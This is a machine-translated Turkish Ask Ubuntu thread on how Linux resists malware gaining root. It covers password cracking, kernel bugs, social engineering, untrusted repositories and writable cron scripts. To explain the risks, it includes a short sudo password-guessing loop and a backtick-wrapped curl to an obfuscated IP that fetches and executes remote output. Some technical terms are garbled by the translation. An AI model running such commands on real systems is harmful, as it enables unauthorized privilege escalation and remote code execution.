Sistem nasıl güvende tutulur?


24

Herhangi bir kötü amaçlı yazılım Linux sistemine girerse, en çok kullanıcı düzeyinde bir ayrıcalık kazanacak ve belirli bir kullanıcının erişebileceği herhangi bir şeyi, yani kullanıcının kendi dosyalarını mahvedeceğini anlıyorum.

Ancak, kötü amaçlı yazılımların kök düzeyinde erişim kazanmasını engelleyen şey nedir? Bir şekilde şifreyi içeriden kıramaz mı?


Harika bir soru ve cevaplar!
NlightNFotis

Yanıtlar:


20

Bu karmaşık bir sorudur. Bir Ubuntu sisteminde, AppArmor gibi karmaşık çerçevelerden mütevazi çekirdek değişkenlerine kadar birçok farklı güvenlik katmanı vardır mmap_min_addr. Karışımda hafıza rasgeleleştirme gibi bazı çekirdek özellikleri ekleyebilirsiniz. Ubuntu Wiki'de kısa bir açıklama ile birlikte bunların bir listesini bulabilirsiniz .

Bir diğer önemli faktör, güncellemelerin hem hızlı hem de kolay olmasıdır - bu nedenle çoğu bilgisayar en son güvenlik düzeltmeleriyle güncellenir.

Bildiğim kadarıyla, bilgisayarınıza yerel erişim sağlayan bir saldırganın çekirdek ayrıcalıklarını ölçeklendirmenin üç yolu vardır:

  1. Şifreyi kır. Ancak bu gerçekten zor olacak, şifre bilinen bir kusur olmayan algoritmalar kullanarak şifreli olarak saklanır. Kırması çok uzun zaman alacak.

  2. Çekirdekte böcek. Ancak çekirdeğin tüm güvenlik özellikleri ön plana çıkacaktır.

  3. Şifreyi, yani sosyal mühendisliği vermesi için kullanıcıyı kandırın. Sadece sahte bir şifre diyalogu göster ya da başka bir numara kullan. Bunu yapmanın en kolay yolu bu.

Üçüncü nokta şu anda en zayıf güvenlik açığıdır.


5
Bu "şifre" nin, root-root ayrıcalıklarına sahip bir kullanıcının şifresi olduğuna dikkat edin. Kök hesap varsayılan olarak devre dışıdır. # 3 gerçekten gerçekleşmesi en olası şey. Ek olarak, güvenilmeyen havuzları kurarsanız, bu depoya ücretsiz kök hesaplar dağıtabilirsiniz.
Lekensteyn

@Lekensteyn, ne ?! Güvenilmeyen repoları kök erişimini dağıtan nasıl ekliyor? Bu arada, cevap olarak göndermek isteyebilirsiniz, bu konunun bir tür topluluk wiki olmasını istiyorum.
Oxwivi

Askubuntu'da sunucu işlemleri dışında herhangi bir iş parçacığı yok. Sadece bir gönderdiniz yorumunu bir karşı cevap sizin için soru . Düşünceye yiyecekle bir cevap ekledim.
Lekensteyn

@Oxwivi Bir PPA ekleyip bir paket yüklediğinizde, pakette ne isterlerse yapabilecekleri önceden yazılmış ve sonra gelen komut dosyaları bulunur. Ayrıca, root olarak çalışmak veya uğraşmak için bir servis de kurabilir sudoers.
Monica’yı eski durumuna getirin -

15

Root şifresini kırmak mümkün değildir, çünkü Ubuntu varsayılan olarak root kullanıcısını devre dışı bırakmıştır. Bununla birlikte, kullanıcınız sudo ile kökleşebilirse ve şifrenizin tahmin edilmesi kolay / kaba kuvvet varsa, güvensiz bir sisteme sahipsiniz demektir. Bazı şifreleri test etmeye çalışan örnek komut dosyası:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

Güvenilmeyen bir havuz eklemek, bu havuzdaki programların kurulmasına izin verir. Açıkça benzeri bir uygulama sudo apt-get install [app-from-repo]kurmasanız bile, depo Ubuntu'nun havuzun belirli bir programın daha yeni bir sürümünü içerdiğine inanmasını sağlayarak diğer programları etkileyebilir.

Güncelleme işlemi root olarak çalıştırılır, aksi takdirde dosyalar /usr/binveya yazamadı /etc. Bir yükleme tetikleyicisi de root olarak çalıştırılır ve keyfi ve muhtemelen zararlı komutlar çalıştırabilir. Artık endişelenmeyin, programları güncellemek için manuel işlem gerekir ve Ubuntu depoları güvenlidir. Windows gibi kapalı kaynaklı yazılımlara hiçbir zaman tam olarak güvenilemez, çünkü kaynağı kötü amaçlı kod için kontrol edemezsiniz, ancak gerektiğinde (örneğin, sun-java6Flash veya benzeri özel programlar için geçerli değildir) Ubuntu uygulamasının kaynağını inceleyebilirsiniz .

Javier Rivera tarafından belirtildiği gibi, çekirdek hataları rasgele kod yürütülmesine neden olabilir, ancak bugged yazılımlar muhtemelen tehlikelidir, özellikle buggy setsuidroot ikili dosyaları (dosya sahibi, root altında çalışacak olan ikili dosyalar) ve root olarak çalışan diğer buggy programları.

Yaptığınız şeye dikkat etmezseniz, sisteminizde güvenlik delikleri oluşturabilirsiniz. Örneğin, cronjobs kavramını tam olarak anlamadan, /etc/cron.dailyana klasörünüzde bir program çalıştıran bir cronjob eklediniz (örn.. /bin/sh /home/your-username/myscript.shEğer myscript.sh dosyası sizin tarafınızdan yazılabilirse, bir istismar kötü niyetli olabilir) myscript.shroot olarak çalıştırılacak olan kod (ayrıcalık yükselmesi).

Güvende kalmak için aklını kullan! Ne yaptığını bilmiyorsanız, güvenilmeyen kaynaklardan gelen komutları çalıştırmayın. Birisi `curl 3221233674`sırt keneleri ile koş diyorsa , yapma. 3221233674 yazmanın başka bir yoludur 192.0.32.10(example.com'un IP adresi). Yani, eşit olacaktır:

`curl http://example.com/`

Bu geri tıklamalar çıktının kabuk komutları olarak yürütülmesine neden olur. Düz İngilizce olarak, " http://example.com/ sayfasını indirin ve indirilen sayfayı çalıştırmayı deneyin".

İlk başta, verilen komutta kötü amaçlı bir şey göremezsiniz. Ama şimdi, onun da kötüye kullanılabileceğini biliyorsun.

Internet gibi güvenilmeyen kaynaklardan aldığınız komutları / komut dosyalarını her zaman kontrol edin.


1
Cevabınız için teşekkürler, düzenlemelerime aldırış etmediniz umarım. İngilizcenizi geliştirmek için düzenlemelerime dikkat edin.
Oxwivi

2
Hayır, umrumda değil. Her iyileştirme açığız :)
Lekensteyn

Ne olursa olsun, bu mükemmel bir yazı, bahsettiğiniz noktalara dikkat edilmelidir!
Oxwivi
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.